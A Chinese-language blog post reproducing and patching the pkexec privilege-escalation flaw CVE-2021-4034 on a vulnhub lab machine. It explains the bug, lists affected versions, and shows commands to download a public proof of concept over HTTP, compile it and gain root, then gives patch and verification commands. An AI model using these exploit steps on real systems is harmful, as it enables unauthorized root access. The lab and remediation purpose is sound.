赞
踩
今天突然发现服务器存在漏洞,由于服务器不支持自动修复(主要是没钱),故决定手动对漏洞进行修复,尝试进行复现
Polkit 中的 pkexec 组件存在的本地权限提升漏洞(CVE-2021-4034)
该漏洞是由于 pkexec 在处理传入参数的逻辑出现问题,导致环境变量被污染,最终交由 pkexec 代码逻辑执行实现客户机权限提升。有普通权限用户的攻击者通过执行漏洞文件,触发越界读写,从而在目标系统上造成权限提升。
一个具有注脚的文本。
pkexec为suid程序
当argc(命令行参数个数变量)为0时,pkexec会读取argv[1]变量,而由于Linux进程的内存布局中环境变量是紧接着命令行参数的,因此实际上会读取到第一个环境变量。
读取到argv[1]之后,若其不是以/开头的(即不是绝对路径),则pkexec会将其理解为相对路径,继而会在环境变量中查找PATH变量,将其转换为实际路径。
若PATH环境变量包含一个攻击者可控的路径,则pkexec转换后的实际路径将会是这个攻击者可控的路径下的一个子目录,则显然此实际路径也是攻击者可控的。
pkexec会对argv[1]赋值,将其修改为上述得到的实际路径,但是我们知道argv[1]此时实际上指向的是pkexec的第一个环境变量,也就是说,pkexec将自己的第一个环境变量修改为这个实际路径了。
pkexec会在程序运行过程中调用g_printerr函数,这个函数会在运行的时候按需载入GCONV_PATH环境变量指向的路径下的gconv-modules文件中写明的外部动态链接库(so),并运行其中的初始化函数gconv_init。
CentOS 6 < polkit-0.96-11.el6_10.2
CentOS 7 < polkit-0.112-26.el7_9.1
CentOS 8.0 < polkit-0.115-13.el8_5.1
CentOS 8.2 < polkit-0.115-11.el8_2.2
CentOS 8.4 < polkit-0.115-11.el8_4.2
Ubuntu 21.10 (Impish Indri) < Released (0.105-31ubuntu0.1)
Ubuntu 21.04 (Hirsute Hippo) Ignored (reached end-of-life)
Ubuntu 20.04 LTS (Focal Fossa) < Released (0.105-26ubuntu1.2)
Ubuntu 18.04 LTS (Bionic Beaver) < Released (0.105-20ubuntu0.18.04.6)
Ubuntu 16.04 ESM (Xenial Xerus) < Released (0.105-14.1ubuntu0.5+esm1)
Ubuntu 14.04 ESM (Trusty Tahr) < Released (0.105-4ubuntu3.14.04.6+esm1)
…
复现CVE-2021-4034需要用到一个本地用户,还需要这个用户可以执行恶意文件
此次复现是用的我之前复现脏牛漏洞的环境,正好满足需求
【脏牛漏洞】vulnhub-Lampiao
使用msf利用CVE-2018-7600获取到shell后
查看当前用户为www-data
由于权限的问题,不能cd进root目录
下载测试文件,放在root中方便一会获取
https://github.com/berdav/CVE-2021-4034
攻击机使用python传输文件
python -m SimpleHTTPServer 8888
接收
wget http://192.168.16.150:8888/cve-2021-4034-poc.c
编译
gcc cve-2021-4034-poc.c -o exp
得到exp文件
执行
./exp
可以看到执行前用户UID为www-data
执行后UID为root,成功提权
可以进入到/root,查看flag
参考深信服千里目安全实验室给出的漏洞修复建议
1 如何检测系统版本
CentOS 用户可采用如下命令升级到安全版本或更高版本:yum clean all && yum makecache yum update polkit -y
- 1
- 2
验证修复,通过以下命令可查看 Polkit 是否为安全版本:
rpm -qa polkit
- 1
Ubuntu 用户可采用如下命令升级至安全版本或更高版本:
sudo apt-get update sudo apt-get install policykit-1
- 1
- 2
验证修复,通过以下命令可查看 Polkit 是否为安全版本:
dpkg -l policykit-1
- 1
2 官方修复建议
目前各 Linux 发行版官方均已给出安全补丁,建议用户尽快升级至安全版本,或参照官方说明措施进行缓解,CentOS、Ubuntu 及 Debian 用户可参考以下链接:
- https://ubuntu.com/security/CVE-2021-4034
- https://access.redhat.com/security/cve/CVE-2021-4034
- https://security-tracker.debian.org/tracker/CVE-2021-4034
【漏洞通告】Linux Polkit 权限提升漏洞CVE-2021-4034
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。